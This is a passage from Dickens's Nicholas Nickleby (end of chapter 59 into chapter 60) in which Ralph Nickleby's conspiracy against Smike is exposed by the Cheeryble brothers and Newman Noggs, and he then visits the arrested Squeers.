+sneer to his lip, and the scowl to his brow; and made him again, in +all outward appearance, the same Ralph Nickleby whom so many had +bitter cause to remember. + +'Humph!' said Ralph, pausing at the door. 'This is an unexpected +favour, sir.' + +'And an unwelcome one,' said brother Charles; 'an unwelcome one, I +know.' + +'Men say you are truth itself, sir,' replied Ralph. 'You speak +truth now, at all events, and I'll not contradict you. The favour +is, at least, as unwelcome as it is unexpected. I can scarcely say +more.' + +'Plainly, sir--' began brother Charles. + +'Plainly, sir,' interrupted Ralph, 'I wish this conference to be a +short one, and to end where it begins. I guess the subject upon +which you are about to speak, and I'll not hear you. You like +plainness, I believe; there it is. Here is the door as you see. +Our way lies in very different directions. Take yours, I beg of +you, and leave me to pursue mine in quiet.' + +'In quiet!' repeated brother Charles mildly, and looking at him with +more of pity than reproach. 'To pursue HIS way in quiet!' + +'You will scarcely remain in my house, I presume, sir, against my +will,' said Ralph; 'or you can scarcely hope to make an impression +upon a man who closes his ears to all that you can say, and is +firmly and resolutely determined not to hear you.' + +'Mr Nickleby, sir,' returned brother Charles: no less mildly than +before, but firmly too: 'I come here against my will, sorely and +grievously against my will. I have never been in this house before; +and, to speak my mind, sir, I don't feel at home or easy in it, and +have no wish ever to be here again. You do not guess the subject on +which I come to speak to you; you do not indeed. I am sure of that, +or your manner would be a very different one.' + +Ralph glanced keenly at him, but the clear eye and open countenance +of the honest old merchant underwent no change of expression, and +met his look without reserve. + +'Shall I go on?' said Mr Cheeryble. + +'Oh, by all means, if you please,' returned Ralph drily. 'Here are +walls to speak to, sir, a desk, and two stools: most attentive +auditors, and certain not to interrupt you. Go on, I beg; make my +house yours, and perhaps by the time I return from my walk, you will +have finished what you have to say, and will yield me up possession +again.' + +So saying, he buttoned his coat, and turning into the passage, took +down his hat. The old gentleman followed, and was about to speak, +when Ralph waved him off impatiently, and said: + +'Not a word. I tell you, sir, not a word. Virtuous as you are, you +are not an angel yet, to appear in men's houses whether they will or +no, and pour your speech into unwilling ears. Preach to the walls I +tell you; not to me!' + +'I am no angel, Heaven knows,' returned brother Charles, shaking his +head, 'but an erring and imperfect man; nevertheless, there is one +quality which all men have, in common with the angels, blessed +opportunities of exercising, if they will; mercy. It is an errand +of mercy that brings me here. Pray let me discharge it.' + +'I show no mercy,' retorted Ralph with a triumphant smile, 'and I +ask none. Seek no mercy from me, sir, in behalf of the fellow who +has imposed upon your childish credulity, but let him expect the +worst that I can do.' + +'HE ask mercy at your hands!' exclaimed the old merchant warmly; +'ask it at his, sir; ask it at his. If you will not hear me now, +when you may, hear me when you must, or anticipate what I would say, +and take measures to prevent our ever meeting again. Your nephew is +a noble lad, sir, an honest, noble lad. What you are, Mr Nickleby, +I will not say; but what you have done, I know. Now, sir, when you +go about the business in which you have been recently engaged, and +find it difficult of pursuing, come to me and my brother Ned, and +Tim Linkinwater, sir, and we'll explain it for you--and come soon, +or it may be too late, and you may have it explained with a little +more roughness, and a little less delicacy--and never forget, sir, +that I came here this morning, in mercy to you, and am still ready +to talk to you in the same spirit.' + +With these words, uttered with great emphasis and emotion, brother +Charles put on his broad-brimmed hat, and, passing Ralph Nickleby +without any other remark, trotted nimbly into the street. Ralph +looked after him, but neither moved nor spoke for some time: when he +broke what almost seemed the silence of stupefaction, by a scornful +laugh. + +'This,' he said, 'from its wildness, should be another of those +dreams that have so broken my rest of late. In mercy to me! Pho! +The old simpleton has gone mad.' + +Although he expressed himself in this derisive and contemptuous +manner, it was plain that, the more Ralph pondered, the more ill at +ease he became, and the more he laboured under some vague anxiety +and alarm, which increased as the time passed on and no tidings of +Newman Noggs arrived. After waiting until late in the afternoon, +tortured by various apprehensions and misgivings, and the +recollection of the warning which his nephew had given him when they +last met: the further confirmation of which now presented itself in +one shape of probability, now in another, and haunted him +perpetually: he left home, and, scarcely knowing why, save that he +was in a suspicious and agitated mood, betook himself to Snawley's +house. His wife presented herself; and, of her, Ralph inquired +whether her husband was at home. + +'No,' she said sharply, 'he is not indeed, and I don't think he will +be at home for a very long time; that's more.' + +'Do you know who I am?' asked Ralph. + +'Oh yes, I know you very well; too well, perhaps, and perhaps he +does too, and sorry am I that I should have to say it.' + +'Tell him that I saw him through the window-blind above, as I +crossed the road just now, and that I would speak to him on +business,' said Ralph. 'Do you hear?' + +'I hear,' rejoined Mrs Snawley, taking no further notice of the +request. + +'I knew this woman was a hypocrite, in the way of psalms and +Scripture phrases,' said Ralph, passing quietly by, 'but I never +knew she drank before.' + +'Stop! You don't come in here,' said Mr Snawley's better-half, +interposing her person, which was a robust one, in the doorway. +'You have said more than enough to him on business, before now. I +always told him what dealing with you and working out your schemes +would come to. It was either you or the schoolmaster--one of you, +or the two between you--that got the forged letter done; remember +that! That wasn't his doing, so don't lay it at his door.' + +'Hold your tongue, you Jezebel,' said Ralph, looking fearfully +round. + +'Ah, I know when to hold my tongue, and when to speak, Mr Nickleby,' +retorted the dame. 'Take care that other people know when to hold +theirs.' + +'You jade,' said Ralph, 'if your husband has been idiot enough to +trust you with his secrets, keep them; keep them, she-devil that you +are!' + +'Not so much his secrets as other people's secrets, perhaps,' +retorted the woman; 'not so much his secrets as yours. None of your +black looks at me! You'll want 'em all, perhaps, for another time. +You had better keep 'em.' + +'Will you,' said Ralph, suppressing his passion as well as he could, +and clutching her tightly by the wrist; 'will you go to your husband +and tell him that I know he is at home, and that I must see him? +And will you tell me what it is that you and he mean by this new +style of behaviour?' + +'No,' replied the woman, violently disengaging herself, 'I'll do +neither.' + +'You set me at defiance, do you?' said Ralph. + +'Yes,' was the answer. I do.' + +For an instant Ralph had his hand raised, as though he were about to +strike her; but, checking himself, and nodding his head and +muttering as though to assure her he would not forget this, walked +away. + +Thence, he went straight to the inn which Mr Squeers frequented, and +inquired when he had been there last; in the vague hope that, +successful or unsuccessful, he might, by this time, have returned +from his mission and be able to assure him that all was safe. But +Mr Squeers had not been there for ten days, and all that the people +could tell about him was, that he had left his luggage and his bill. + +Disturbed by a thousand fears and surmises, and bent upon +ascertaining whether Squeers had any suspicion of Snawley, or was, +in any way, a party to this altered behaviour, Ralph determined to +hazard the extreme step of inquiring for him at the Lambeth lodging, +and having an interview with him even there. Bent upon this +purpose, and in that mood in which delay is insupportable, he +repaired at once to the place; and being, by description, perfectly +acquainted with the situation of his room, crept upstairs and +knocked gently at the door. + +Not one, nor two, nor three, nor yet a dozen knocks, served to +convince Ralph, against his wish, that there was nobody inside. He +reasoned that he might be asleep; and, listening, almost persuaded +himself that he could hear him breathe. Even when he was satisfied +that he could not be there, he sat patiently on a broken stair and +waited; arguing, that he had gone out upon some slight errand, and +must soon return. + +Many feet came up the creaking stairs; and the step of some seemed +to his listening ear so like that of the man for whom he waited, +that Ralph often stood up to be ready to address him when he reached +the top; but, one by one, each person turned off into some room +short of the place where he was stationed: and at every such +disappointment he felt quite chilled and lonely. + +At length he felt it was hopeless to remain, and going downstairs +again, inquired of one of the lodgers if he knew anything of Mr +Squeers's movements--mentioning that worthy by an assumed name which +had been agreed upon between them. By this lodger he was referred +to another, and by him to someone else, from whom he learnt, that, +late on the previous night, he had gone out hastily with two men, +who had shortly afterwards returned for the old woman who lived on +the same floor; and that, although the circumstance had attracted +the attention of the informant, he had not spoken to them at the +time, nor made any inquiry afterwards. + +This possessed him with the idea that, perhaps, Peg Sliderskew had +been apprehended for the robbery, and that Mr Squeers, being with +her at the time, had been apprehended also, on suspicion of being a +confederate. If this were so, the fact must be known to Gride; and +to Gride's house he directed his steps; now thoroughly alarmed, and +fearful that there were indeed plots afoot, tending to his +discomfiture and ruin. + +Arrived at the usurer's house, he found the windows close shut, the +dingy blinds drawn down; all was silent, melancholy, and deserted. +But this was its usual aspect. He knocked--gently at first--then +loud and vigorously. Nobody came. He wrote a few words in +pencil on a card, and having thrust it under the door was going +away, when a noise above, as though a window-sash were stealthily +raised, caught his ear, and looking up he could just discern the +face of Gride himself, cautiously peering over the house parapet +from the window of the garret. Seeing who was below, he drew it in +again; not so quickly, however, but that Ralph let him know he was +observed, and called to him to come down. + +The call being repeated, Gride looked out again, so cautiously that +no part of the old man's body was visible. The sharp features and +white hair appearing alone, above the parapet, looked like a severed +head garnishing the wall. + +'Hush!' he cried. 'Go away, go away!' + +'Come down,' said Ralph, beckoning him. + +'Go a--way!' squeaked Gride, shaking his head in a sort of ecstasy +of impatience. 'Don't speak to me, don't knock, don't call +attention to the house, but go away.' + +'I'll knock, I swear, till I have your neighbours up in arms,' said +Ralph, 'if you don't tell me what you mean by lurking there, you +whining cur.' + +'I can't hear what you say--don't talk to me--it isn't safe--go +away--go away!' returned Gride. + +'Come down, I say. Will you come down?' said Ralph fiercely. + +'No--o--o--oo,' snarled Gride. He drew in his head; and Ralph, left +standing in the street, could hear the sash closed, as gently and +carefully as it had been opened. + +'How is this,' said he, 'that they all fall from me, and shun me +like the plague, these men who have licked the dust from my feet? +IS my day past, and is this indeed the coming on of night? I'll +know what it means! I will, at any cost. I am firmer and more +myself, just now, than I have been these many days.' + +Turning from the door, which, in the first transport of his rage, he +had meditated battering upon until Gride's very fears should impel +him to open it, he turned his face towards the city, and working his +way steadily through the crowd which was pouring from it (it was by +this time between five and six o'clock in the afternoon) went +straight to the house of business of the brothers Cheeryble, and +putting his head into the glass case, found Tim Linkinwater alone. + +'My name's Nickleby,' said Ralph. + +'I know it,' replied Tim, surveying him through his spectacles. + +'Which of your firm was it who called on me this morning?' demanded +Ralph. + +'Mr Charles.' + +'Then, tell Mr Charles I want to see him.' + +'You shall see,' said Tim, getting off his stool with great agility, +'you shall see, not only Mr Charles, but Mr Ned likewise.' + +Tim stopped, looked steadily and severely at Ralph, nodded his head +once, in a curt manner which seemed to say there was a little more +behind, and vanished. After a short interval, he returned, and, +ushering Ralph into the presence of the two brothers, remained in +the room himself. + +'I want to speak to you, who spoke to me this morning,' said Ralph, +pointing out with his finger the man whom he addressed. + +'I have no secrets from my brother Ned, or from Tim Linkinwater,' +observed brother Charles quietly. + +'I have,' said Ralph. + +'Mr Nickleby, sir,' said brother Ned, 'the matter upon which my +brother Charles called upon you this morning is one which is already +perfectly well known to us three, and to others besides, and must +unhappily soon become known to a great many more. He waited upon +you, sir, this morning, alone, as a matter of delicacy and +consideration. We feel, now, that further delicacy and +consideration would be misplaced; and, if we confer together, it +must be as we are or not at all.' + +'Well, gentlemen,' said Ralph with a curl of the lip, 'talking in +riddles would seem to be the peculiar forte of you two, and I +suppose your clerk, like a prudent man, has studied the art also +with a view to your good graces. Talk in company, gentlemen, in +God's name. I'll humour you.' + +'Humour!' cried Tim Linkinwater, suddenly growing very red in the +face. 'He'll humour us! He'll humour Cheeryble Brothers! Do you +hear that? Do you hear him? DO you hear him say he'll humour +Cheeryble Brothers?' + +'Tim,' said Charles and Ned together, 'pray, Tim, pray now, don't.' + +Tim, taking the hint, stifled his indignation as well as he could, +and suffered it to escape through his spectacles, with the +additional safety-valve of a short hysterical laugh now and then, +which seemed to relieve him mightily. + +'As nobody bids me to a seat,' said Ralph, looking round, 'I'll take +one, for I am fatigued with walking. And now, if you please, +gentlemen, I wish to know--I demand to know; I have the right--what +you have to say to me, which justifies such a tone as you have +assumed, and that underhand interference in my affairs which, I have +reason to suppose, you have been practising. I tell you plainly, +gentlemen, that little as I care for the opinion of the world (as +the slang goes), I don't choose to submit quietly to slander and +malice. Whether you suffer yourselves to be imposed upon too +easily, or wilfully make yourselves parties to it, the result to me +is the same. In either case, you can't expect from a plain man like +myself much consideration or forbearance.' + +So coolly and deliberately was this said, that nine men out of ten, +ignorant of the circumstances, would have supposed Ralph to be +really an injured man. There he sat, with folded arms; paler than +usual, certainly, and sufficiently ill-favoured, but quite +collected--far more so than the brothers or the exasperated Tim--and +ready to face out the worst. + +'Very well, sir,' said brother Charles. 'Very well. Brother Ned, +will you ring the bell?' + +'Charles, my dear fellow! stop one instant,' returned the other. +'It will be better for Mr Nickleby and for our object that he should +remain silent, if he can, till we have said what we have to say. I +wish him to understand that.' + +'Quite right, quite right,' said brother Charles. + +Ralph smiled, but made no reply. The bell was rung; the room-door +opened; a man came in, with a halting walk; and, looking round, +Ralph's eyes met those of Newman Noggs. From that moment, his heart +began to fail him. + +'This is a good beginning,' he said bitterly. 'Oh! this is a good +beginning. You are candid, honest, open-hearted, fair-dealing men! +I always knew the real worth of such characters as yours! To tamper +with a fellow like this, who would sell his soul (if he had one) for +drink, and whose every word is a lie. What men are safe if this is +done? Oh, it's a good beginning!' + +'I WILL speak,' cried Newman, standing on tiptoe to look over Tim's +head, who had interposed to prevent him. 'Hallo, you sir--old +Nickleby!--what do you mean when you talk of "a fellow like this"? +Who made me "a fellow like this"? If I would sell my soul for +drink, why wasn't I a thief, swindler, housebreaker, area sneak, +robber of pence out of the trays of blind men's dogs, rather than +your drudge and packhorse? If my every word was a lie, why wasn't I +a pet and favourite of yours? Lie! When did I ever cringe and fawn +to you. Tell me that! I served you faithfully. I did more +work, because I was poor, and took more hard words from you because +I despised you and them, than any man you could have got from the +parish workhouse. I did. I served you because I was proud; because +I was a lonely man with you, and there were no other drudges to see +my degradation; and because nobody knew, better than you, that I was +a ruined man: that I hadn't always been what I am: and that I might +have been better off, if I hadn't been a fool and fallen into the +hands of you and others who were knaves. Do you deny that?' + +'Gently,' reasoned Tim; 'you said you wouldn't.' + +'I said I wouldn't!' cried Newman, thrusting him aside, and moving +his hand as Tim moved, so as to keep him at arm's length; 'don't +tell me! Here, you Nickleby! Don't pretend not to mind me; it won't +do; I know better. You were talking of tampering, just now. Who +tampered with Yorkshire schoolmasters, and, while they sent the +drudge out, that he shouldn't overhear, forgot that such great +caution might render him suspicious, and that he might watch his +master out at nights, and might set other eyes to watch the +schoolmaster? Who tampered with a selfish father, urging him to +sell his daughter to old Arthur Gride, and tampered with Gride too, +and did so in the little office, WITH A CLOSET IN THE ROOM?' + +Ralph had put a great command upon himself; but he could not have +suppressed a slight start, if he had been certain to be beheaded for +it next moment. + +'Aha!' cried Newman, 'you mind me now, do you? What first set this +fag to be jealous of his master's actions, and to feel that, if he +hadn't crossed him when he might, he would have been as bad as he, +or worse? That master's cruel treatment of his own flesh and blood, +and vile designs upon a young girl who interested even his broken- +down, drunken, miserable hack, and made him linger in his service, +in the hope of doing her some good (as, thank God, he had done +others once or twice before), when he would, otherwise, have +relieved his feelings by pummelling his master soundly, and then +going to the Devil. He would--mark that; and mark this--that I'm +here now, because these gentlemen thought it best. When I sought +them out (as I did; there was no tampering with me), I told them I +wanted help to find you out, to trace you down, to go through with +what I had begun, to help the right; and that when I had done it, +I'd burst into your room and tell you all, face to face, man to man, +and like a man. Now I've said my say, and let anybody else say +theirs, and fire away!' + +With this concluding sentiment, Newman Noggs, who had been +perpetually sitting down and getting up again all through his +speech, which he had delivered in a series of jerks; and who was, +from the violent exercise and the excitement combined, in a state of +most intense and fiery heat; became, without passing through any +intermediate stage, stiff, upright, and motionless, and so remained, +staring at Ralph Nickleby with all his might and main. + +Ralph looked at him for an instant, and for an instant only; then, +waved his hand, and beating the ground with his foot, said in a +choking voice: + +'Go on, gentlemen, go on! I'm patient, you see. There's law to be +had, there's law. I shall call you to an account for this. Take +care what you say; I shall make you prove it.' + +'The proof is ready,' returned brother Charles, 'quite ready to our +hands. The man Snawley, last night, made a confession.' + +'Who may "the man Snawley" be,' returned Ralph, 'and what may his +"confession" have to do with my affairs?' + +To this inquiry, put with a dogged inflexibility of manner, the old +gentleman returned no answer, but went on to say, that to show him +how much they were in earnest, it would be necessary to tell him, +not only what accusations were made against him, but what proof of +them they had, and how that proof had been acquired. This laying +open of the whole question brought up brother Ned, Tim Linkinwater, +and Newman Noggs, all three at once; who, after a vast deal of +talking together, and a scene of great confusion, laid before Ralph, +in distinct terms, the following statement. + +That, Newman, having been solemnly assured by one not then +producible that Smike was not the son of Snawley, and this person +having offered to make oath to that effect, if necessary, they had +by this communication been first led to doubt the claim set up, +which they would otherwise have seen no reason to dispute, supported +as it was by evidence which they had no power of disproving. That, +once suspecting the existence of a conspiracy, they had no +difficulty in tracing back its origin to the malice of Ralph, and +the vindictiveness and avarice of Squeers. That, suspicion and +proof being two very different things, they had been advised by a +lawyer, eminent for his sagacity and acuteness in such practice, to +resist the proceedings taken on the other side for the recovery of +the youth as slowly and artfully as possible, and meanwhile to beset +Snawley (with whom it was clear the main falsehood must rest); to +lead him, if possible, into contradictory and conflicting +statements; to harass him by all available means; and so to practise +on his fears, and regard for his own safety, as to induce him to +divulge the whole scheme, and to give up his employer and whomsoever +else he could implicate. That, all this had been skilfully done; +but that Snawley, who was well practised in the arts of low cunning +and intrigue, had successfully baffled all their attempts, until an +unexpected circumstance had brought him, last night, upon his knees. + +It thus arose. When Newman Noggs reported that Squeers was again in +town, and that an interview of such secrecy had taken place between +him and Ralph that he had been sent out of the house, plainly lest +he should overhear a word, a watch was set upon the schoolmaster, in +the hope that something might be discovered which would throw some +light upon the suspected plot. It being found, however, that he +held no further communication with Ralph, nor any with Snawley, and +lived quite alone, they were completely at fault; the watch was +withdrawn, and they would have observed his motions no longer, if it +had not happened that, one night, Newman stumbled unobserved on him +and Ralph in the street together. Following them, he discovered, to +his surprise, that they repaired to various low lodging-houses, and +taverns kept by broken gamblers, to more than one of whom Ralph was +known, and that they were in pursuit--so he found by inquiries when +they had left--of an old woman, whose description exactly tallied +with that of deaf Mrs Sliderskew. Affairs now appearing to assume a +more serious complexion, the watch was renewed with increased +vigilance; an officer was procured, who took up his abode in the +same tavern with Squeers: and by him and Frank Cheeryble the +footsteps of the unconscious schoolmaster were dogged, until he was +safely housed in the lodging at Lambeth. Mr Squeers having shifted +his lodging, the officer shifted his, and lying concealed in the +same street, and, indeed, in the opposite house, soon found that Mr +Squeers and Mrs Sliderskew were in constant communication. + +In this state of things, Arthur Gride was appealed to. The robbery, +partly owing to the inquisitiveness of the neighbours, and partly to +his own grief and rage, had, long ago, become known; but he +positively refused to give his sanction or yield any assistance to +the old woman's capture, and was seized with such a panic at the +idea of being called upon to give evidence against her, that he shut +himself up close in his house, and refused to hold communication +with anybody. Upon this, the pursuers took counsel together, and, +coming so near the truth as to arrive at the conclusion that Gride +and Ralph, with Squeers for their instrument, were negotiating for +the recovery of some of the stolen papers which would not bear the +light, and might possibly explain the hints relative to Madeline +which Newman had overheard, resolved that Mrs Sliderskew should be +taken into custody before she had parted with them: and Squeers too, +if anything suspicious could be attached to him. Accordingly, a +search-warrant being procured, and all prepared, Mr Squeers's window +was watched, until his light was put out, and the time arrived when, +as had been previously ascertained, he usually visited Mrs +Sliderskew. This done, Frank Cheeryble and Newman stole upstairs to +listen to their discourse, and to give the signal to the officer at +the most favourable time. At what an opportune moment they arrived, +how they listened, and what they heard, is already known to the +reader. Mr Squeers, still half stunned, was hurried off with a +stolen deed in his possession, and Mrs Sliderskew was apprehended +likewise. The information being promptly carried to Snawley that +Squeers was in custody--he was not told for what--that worthy, first +extorting a promise that he should be kept harmless, declared the +whole tale concerning Smike to be a fiction and forgery, and +implicated Ralph Nickleby to the fullest extent. As to Mr Squeers, +he had, that morning, undergone a private examination before a +magistrate; and, being unable to account satisfactorily for his +possession of the deed or his companionship with Mrs Sliderskew, had +been, with her, remanded for a week. + +All these discoveries were now related to Ralph, circumstantially, +and in detail. Whatever impression they secretly produced, he +suffered no sign of emotion to escape him, but sat perfectly still, +not raising his frowning eyes from the ground, and covering his +mouth with his hand. When the narrative was concluded; he raised +his head hastily, as if about to speak, but on brother Charles +resuming, fell into his old attitude again. + +'I told you this morning,' said the old gentleman, laying his hand +upon his brother's shoulder, 'that I came to you in mercy. How far +you may be implicated in this last transaction, or how far the +person who is now in custody may criminate you, you best know. But, +justice must take its course against the parties implicated in the +plot against this poor, unoffending, injured lad. It is not in my +power, or in the power of my brother Ned, to save you from the +consequences. The utmost we can do is, to warn you in time, and to +give you an opportunity of escaping them. We would not have an old +man like you disgraced and punished by your near relation; nor would +we have him forget, like you, all ties of blood and nature. We +entreat you--brother Ned, you join me, I know, in this entreaty, and +so, Tim Linkinwater, do you, although you pretend to be an obstinate +dog, sir, and sit there frowning as if you didn't--we entreat you to +retire from London, to take shelter in some place where you will be +safe from the consequences of these wicked designs, and where you +may have time, sir, to atone for them, and to become a better man.' + +'And do you think,' returned Ralph, rising, 'and do you think, you +will so easily crush ME? Do you think that a hundred well-arranged +plans, or a hundred suborned witnesses, or a hundred false curs at +my heels, or a hundred canting speeches full of oily words, will +move me? I thank you for disclosing your schemes, which I am now +prepared for. You have not the man to deal with that you think; try +me! and remember that I spit upon your fair words and false +dealings, and dare you--provoke you--taunt you--to do to me the very +worst you can!' + +Thus they parted, for that time; but the worst had not come yet. + + + +CHAPTER 60 + +The Dangers thicken, and the Worst is told + + +Instead of going home, Ralph threw himself into the first street +cabriolet he could find, and, directing the driver towards the +police-office of the district in which Mr Squeers's misfortunes had +occurred, alighted at a short distance from it, and, discharging the +man, went the rest of his way thither on foot. Inquiring for the +object of his solicitude, he learnt that he had timed his visit +well; for Mr Squeers was, in fact, at that moment waiting for a +hackney coach he had ordered, and in which he purposed proceeding to +his week's retirement, like a gentleman. + +Demanding speech with the prisoner, he was ushered into a kind of +waiting-room in which, by reason of his scholastic profession and +superior respectability, Mr Squeers had been permitted to pass the +day. Here, by the light of a guttering and blackened candle, he +could barely discern the schoolmaster, fast asleep on a bench in a +remote corner. An empty glass stood on a table before him, which, +with his somnolent condition and a very strong smell of brandy and +water, forewarned the visitor that Mr Squeers had been seeking, in +creature comforts, a temporary forgetfulness of his unpleasant +situation. + +It was not a very easy matter to rouse him: so lethargic and heavy +were his slumbers. Regaining his faculties by slow and faint +glimmerings, he at length sat upright; and, displaying a very yellow +face, a very red nose, and a very bristly beard: the joint effect of +which was considerably heightened by a dirty white handkerchief, +spotted with blood, drawn over the crown of his head and tied under +his chin: stared ruefully at Ralph in silence, until his feelings +found a vent in this pithy sentence: + +'I say, young fellow, you've been and done it now; you have!' + +'What's the matter with your head?' asked Ralph. + +'Why, your man, your informing kidnapping man, has been and broke +it,' rejoined Squeers sulkily; 'that's what's the matter with it. +You've come at last, have you?' + +'Why have you not sent to me?' said Ralph. 'How could I come till I +knew what had befallen you?' + +'My family!' hiccuped Mr Squeers, raising his eye to the ceiling: +'my daughter, as is at that age when all the sensibilities is a- +coming out strong in blow--my son as is the young Norval of private +life, and the pride and ornament of a doting willage--here's a shock +for my family! The coat-of-arms of the Squeerses is tore, and their +sun is gone down into the ocean wave!' + +'You have been drinking,' said Ralph, 'and have not yet slept +yourself sober.' + +'I haven't been drinking YOUR health, my codger,' replied Mr +Squeers; 'so you have nothing to do with that.' + +Ralph suppressed the indignation which the schoolmaster's altered +and insolent manner awakened, and asked again why he had not sent to +him. + +'What should I get by sending to you?' returned Squeers. 'To be +known to be in with you wouldn't do me a deal of good, and they +won't take bail till they know something more of the case, so here +am I hard and fast: and there are you, loose and comfortable.' + +'And so must you be in a few days,' retorted Ralph, with affected +good-humour. 'They can't hurt you, man.' + +'Why, I suppose they can't do much to me, if I explain how it was +that I got into the good company of that there ca-daverous old +Slider,' replied Squeers viciously, 'who I wish was dead and buried, +and resurrected and dissected, and hung upon wires in a anatomical +museum, before ever I'd had anything to do with her. This is what +him with the powdered head says this morning, in so many words: +"Prisoner! As you have been found in company with this woman; as +you were detected in possession of this document; as you were +engaged with her in fraudulently destroying others, and can give no +satisfactory account of yourself; I shall remand you for a week, in +order that inquiries may be made, and evidence got. And meanwhile I +can't take any bail for your appearance." Well then, what I say now +is, that I CAN give a satisfactory account of myself; I can hand in +the card of my establishment and say, "I am the Wackford Squeers as +is therein named, sir. I am the man as is guaranteed, by +unimpeachable references, to be a out-and-outer in morals and +uprightness of principle. Whatever is wrong in this business is no +fault of mine. I had no evil design in it, sir. I was not aware +that anything was wrong. I was merely employed by a friend, my +friend Mr Ralph Nickleby, of Golden Square. Send for him, sir, and +ask him what he has to say; he's the man; not me!"' + +'What document was it that you had?' asked Ralph, evading, for the +moment, the point just raised. + +'What document? Why, THE document,' replied Squeers. 'The Madeline +What's-her-name one. It was a will; that's what it was.' + +'Of what nature, whose will, when dated, how benefiting her, to what +extent?' asked Ralph hurriedly. + +'A will in her favour; that's all I know,' rejoined Squeers, 'and +that's more than you'd have known, if you'd had them bellows on your +head. It's all owing to your precious caution that they got hold of +it. If you had let me burn it, and taken my word that it was gone, +it would have been a heap of ashes behind the fire, instead of being +whole and sound, inside of my great-coat.' + +'Beaten at every point!' muttered Ralph. + +'Ah!' sighed Squeers, who, between the brandy and water and his +broken head, wandered strangely, 'at the delightful village of +Dotheboys near Greta Bridge in Yorkshire, youth are boarded, +clothed, booked, washed, furnished with pocket-money, provided with +all necessaries, instructed in all languages living and dead, +mathematics, orthography, geometry, astronomy, trigonometry--this is +a altered state of trigonomics, this is! A double 1--all, +everything--a cobbler's weapon. U-p-up, adjective, not down. S-q- +u-double e-r-s-Squeers, noun substantive, a educator of youth. +Total, all up with Squeers!' + +His running on, in this way, had afforded Ralph an opportunity of +recovering his presence of mind, which at once suggested to him the +necessity of removing, as far as possible, the schoolmaster's +misgivings, and leading him to believe that his safety and best +policy lay in the preservation of a rigid silence. + +'I tell you, once again,' he said, 'they can't hurt you. You shall +have an action for false imprisonment, and make a profit of this, +yet. We will devise a story for you that should carry you through +twenty times such a trivial scrape as this; and if they want +security in a thousand pounds for your reappearance in case you +should be called upon, you shall have it. All you have to do is, to +keep back the truth. You're a little fuddled tonight, and may not +be able to see this as clearly as you would at another time; but +this is what you must do, and you'll need all your senses about you; +for a slip might be awkward.' + +'Oh!' said Squeers, who had looked cunningly at him, with his head +stuck on one side, like an old raven. 'That's what I'm to do, is +it? Now then, just you hear a word or two from me. I an't a-going +to have any stories made for me, and I an't a-going to stick to any. +If I find matters going again me, I shall expect you to take your +share, and I'll take care you do. You never said anything about +danger. I never bargained for being brought into such a plight as +this, and I don't mean to take it as quiet as you think. I let you +lead me on, from one thing to another, because we had been mixed up +together in a certain sort of a way, and if you had liked to be ill- +natured you might perhaps have hurt the business, and if you liked +to be good-natured you might throw a good deal in my way. Well; if +all goes right now, that's quite correct, and I don't mind it; but +if anything goes wrong, then times are altered, and I shall just say +and do whatever I think may serve me most, and take advice from +nobody. My moral influence with them lads,' added Mr Squeers, with +deeper gravity, 'is a tottering to its basis. The images of Mrs +Squeers, my daughter, and my son Wackford, all short of vittles, is +perpetually before me; every other consideration melts away and +vanishes, in front of these; the only number in all arithmetic that +I know of, as a husband and a father, is number one, under this here +most fatal go!' + +How long Mr Squeers might have declaimed, or how stormy a discussion +his declamation might have led to, nobody knows. Being interrupted, +at this point, by the arrival of the coach and an attendant who was +to bear him company, he perched his hat with great dignity on the +top of the handkerchief that bound his head; and, thrusting one hand +in his pocket, and taking the attendant's arm with the other, +suffered himself to be led forth. + +'As I supposed from his not sending!' thought Ralph. 'This fellow, +I plainly see through all his tipsy fooling, has made up his mind to +turn upon me. I am so beset and hemmed in, that they are not only +all struck with fear, but, like the beasts in the fable, have their +fling at me now, though time was, and no longer ago than yesterday +too, when they were all civility and compliance. But they shall not +move me. I'll not give way. I will not budge one inch!' + +He went home, and was glad to find his housekeeper complaining of +illness, that he might have an excuse for being alone and sending +her away to where she lived: which was hard by. Then, he sat down +by the light of a single candle, and began to think, for the first +time, on all that had taken place that day. + +He had neither eaten nor drunk since last night, and, in addition to +the anxiety of mind he had undergone, had been travelling about, +from place to place almost incessantly, for many hours. He felt +sick and exhausted, but could taste nothing save a glass of water, +and continued to sit with his head upon his hand; not resting nor +thinking, but laboriously trying to do both, and feeling that every +sense but one of weariness and desolation, was for the time +benumbed. + +It was nearly ten o'clock when he heard a knocking at the door, and +still sat quiet as before, as if he could not even bring his +thoughts to bear upon that. It had been often repeated, and he had, +several times, heard a voice outside, saying there was a light in +the window (meaning, as he knew, his own candle), before he could +rouse himself and go downstairs. + +'Mr Nickleby, there is terrible news for you, and I am sent to beg +you will come with me directly,' said a voice he seemed to +recognise. He held his hand above his eyes, and, looking out, saw +Tim Linkinwater on the steps. + +'Come where?' demanded Ralph. + +'To our house, where you came this morning. I have a coach here.' + +'Why should I go there?' said Ralph. + +'Don't ask me why, but pray come with me.' + +'Another edition of today!' returned Ralph, making as though he +would shut the door. + +'No, no!' cried Tim, catching him by the arm and speaking most +earnestly; 'it is only that you may hear something that has +occurred: something very dreadful, Mr Nickleby, which concerns you +nearly. Do you think I would tell you so or come to you like this, +if it were not the case?' + +Ralph looked at him more closely. Seeing that he was indeed greatly +excited, he faltered, and could not tell what to say or think. + +'You had better hear this now, than at any other time,' said Tim; +'it may have some influence with you. For Heaven's sake come!' + +Perhaps, at, another time, Ralph's obstinacy and dislike would have +been proof against any appeal from such a quarter, however +emphatically urged; but now, after a moment's hesitation, he went +into the hall for his hat, and returning, got into the coach without +speaking a word. + +Tim well remembered afterwards, and often said, that as Ralph +Nickleby went into the house for this purpose, he saw him, by the +light of the candle which he had set down upon a chair, reel and +stagger like a drunken man. He well remembered, too, that when he +had placed his foot upon the coach-steps, he turned round and looked +upon him with a face so ashy pale and so very wild and vacant that +it made him shudder, and for the moment almost afraid to follow. +People were fond of saying that he had some dark presentiment upon +him then, but his emotion might, perhaps, with greater show of +reason, be referred to what he had undergone that day. + +A profound silence was observed during the ride. Arrived at their +place of destination, Ralph followed his conductor into the house, +and into a room where the two brothers were. He was so astounded, +not to say awed, by something of a mute compassion for himself which +was visible in their manner and in that of the old clerk, that he +could scarcely speak. + +Having taken a seat, however, he contrived to say, though in broken +words, 'What--what have you to say to me--more than has been said +already?' + +The room was old and large, very imperfectly lighted, and terminated +in a bay window, about which hung some heavy drapery. Casting his +eyes in this direction as he spoke, he thought he made out the dusky +figure of a man. He was confirmed in this impression by seeing that +the object moved, as if uneasy under his scrutiny. + +'Who's that yonder?' he said. + +'One who has conveyed to us, within these two hours, the +intelligence which 